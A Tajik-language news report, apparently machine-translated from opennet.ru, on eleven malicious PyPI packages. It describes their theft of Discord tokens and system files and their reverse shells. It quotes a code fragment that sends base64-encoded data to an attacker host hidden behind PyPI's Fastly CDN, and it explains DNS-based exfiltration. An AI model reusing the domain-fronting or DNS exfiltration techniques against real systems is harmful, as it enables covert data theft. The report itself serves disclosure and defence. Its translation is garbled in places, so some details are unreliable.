Дар каталоги PyPI китобхонаҳои зараровар муайян карда шуданд, ки PyPI CDN-ро барои пинҳон кардани канали алоқа истифода мебаранд

Дар феҳристи PyPI (Python Package Index) 11 бастаи дорои рамзи зараровар муайян карда шуданд. Пеш аз муайян кардани мушкилот, бастаҳо дар маҷмӯъ тақрибан 38 ҳазор маротиба зеркашӣ карда шуданд. Бастаҳои шубҳаноки ошкоршуда бо истифода аз усулҳои мураккаби пинҳон кардани каналҳои иртиботӣ бо серверҳои ҳамлагарон назаррасанд.

  • муҳим бастаи (6305 боргирӣ), муҳим-баста (12897) - пайвастшавӣ ба сервери беруна зери ниқоби пайвастшавӣ ба pypi.python.org барои таъмини дастрасии ниҳонӣ ба система (ниҳонӣ баръакс) ва истифода аз барномаи trevorc2 барои пинҳон кардани канали алоқа.
  • pptest (10001), ipboards (946) - DNS-ро ҳамчун канали иртиботӣ барои интиқоли маълумот дар бораи система истифода мебаранд (дар бастаи аввал номи ҳост, директорияи корӣ, IP дохилӣ ва берунӣ, дар дуюм - номи корбар ва номи ҳост) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - аломати хидматрасонии Discord-ро дар система муайян кард ва онро ба хости беруна фиристод.
  • trrfab (287) - идентификатор, номи мизбон ва мундариҷаи /etc/passwd, /etc/hosts, /homeро ба хости беруна фиристод.
  • 10Cent10 (490) - пайвасти баръакс бо мизбони беруна муқаррар карда шуд.
  • yandex-yt (4183) - паёмеро дар бораи осеб дидани система нишон дод ва ба саҳифа бо маълумоти иловагӣ дар бораи амалҳои минбаъда тавассути nda.ya.ru (api.ya.cc) интиқол дода мешавад.

Усули дастрасии ҳостҳои беруна, ки дар бастаҳои муҳим ва бастаҳои муҳим истифода мешаванд, ки шабакаи интиқоли мундариҷаи Fastly, ки дар феҳристи PyPI истифода мешавад, барои пинҳон кардани фаъолияти онҳо истифода мешуд, махсусан қайд карда мешавад. Дарвоқеъ, дархостҳо ба сервери pypi.python.org фиристода шуданд (аз ҷумла муайян кардани номи python.org дар SNI дар дохили дархости HTTPS), аммо сарлавҳаи HTTP "Ҳаст" номи сервере, ки аз ҷониби ҳамлагарон назорат мешавад (сек. forward.io. global.prod.fastly.net). Шабакаи интиқоли мундариҷа дархости шабеҳро ба сервери ҳамлакунанда бо истифода аз параметрҳои пайвасти TLS ба pypi.python.org ҳангоми интиқоли маълумот фиристод.

Инфрасохтори PyPI аз шабакаи интиқоли мундариҷаи Fastly таъмин карда мешавад, ки прокси шаффофи Varnish-ро барои кэш кардани дархостҳои маъмулӣ истифода мебарад ва инчунин коркарди сертификати TLS-ро дар сатҳи CDN, на дар серверҳои ниҳоӣ, барои фиристодани дархостҳои HTTPS тавассути прокси истифода мебарад. Новобаста аз мизбони мавриди ҳадаф, дархостҳо ба прокси фиристода мешаванд, ки хости дилхоҳро бо истифода аз сарлавҳаи HTTP “Host” муайян мекунад ва номҳои доменҳои мизбон ба суроғаҳои IP-и тавозуни CDN, ки барои ҳама муштариёни Fastly хосанд, пайваст карда мешаванд.

Сервери ҳамлагарон инчунин бо CDN Fastly сабти ном мешавад, ки барои ҳама нақшаҳои ройгон пешниҳод мекунад ва ҳатто ба қайди номаълум имкон медиҳад. Ҷолиби диққат аст, ки барои фиристодани дархостҳо ба ҷабрдида ҳангоми сохтани "ниҳбати баръакс" схема низ истифода мешавад, аммо аз ҷониби мизбони ҳамла оғоз мешавад. Аз берун, ҳамкорӣ бо сервери ҳамлагарон ба як сессияи қонунӣ бо директорияи PyPI монанд аст, ки бо истифода аз сертификати PyPI TLS рамзгузорӣ шудааст. Техникаи шабеҳ, ки бо номи "фронти доменӣ" маъруф аст, қаблан барои пинҳон кардани номи мизбон ҳангоми гузаштан аз блок истифода мешуд, бо истифода аз қобилияти дар баъзе шабакаҳои CDN барои дастрасӣ ба HTTPS бо нишон додани мизбони тахайюлӣ дар SNI ва воқеан интиқоли номи мизбон. хости дархостшуда дар сарлавҳаи хости HTTP дар дохили сессияи TLS.

Дар каталоги PyPI китобхонаҳои зараровар муайян карда шуданд, ки PyPI CDN-ро барои пинҳон кардани канали алоқа истифода мебаранд

Барои пинҳон кардани фаъолияти зараровар, бастаи TrevorC2 ба таври илова барои муошират бо сервер ба новбари муқаррарии веб истифода мешуд, масалан, дархостҳои зараровар зери ниқоби зеркашии тасвири “https://pypi.python.org/images/ фиристода мешуданд. guid =" бо рамзгузории иттилоот дар параметри guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, сарлавҳаҳо = {'Host': "psec.forward.io.global.prod.fastly.net"})

Бастаҳои pptest ва ipboards барои пинҳон кардани фаъолияти шабака бар асоси рамзгузории иттилооти муфид дар дархостҳо ба сервери DNS равиши дигарро истифода бурданд. Нармафзори зараровар маълумотро тавассути иҷрои дархостҳои DNS ба мисли "nu4timjagq4fimbuhe.example.com" интиқол медиҳад, ки дар он маълумот ба сервери назоратӣ бо истифода аз формати base64 дар номи зердомен рамзгузорӣ мешавад. Ҳамлагар ин паёмҳоро тавассути идоракунии сервери DNS барои домени example.com қабул мекунад.

Манбаъ: opennet.ru

Илова Эзоҳ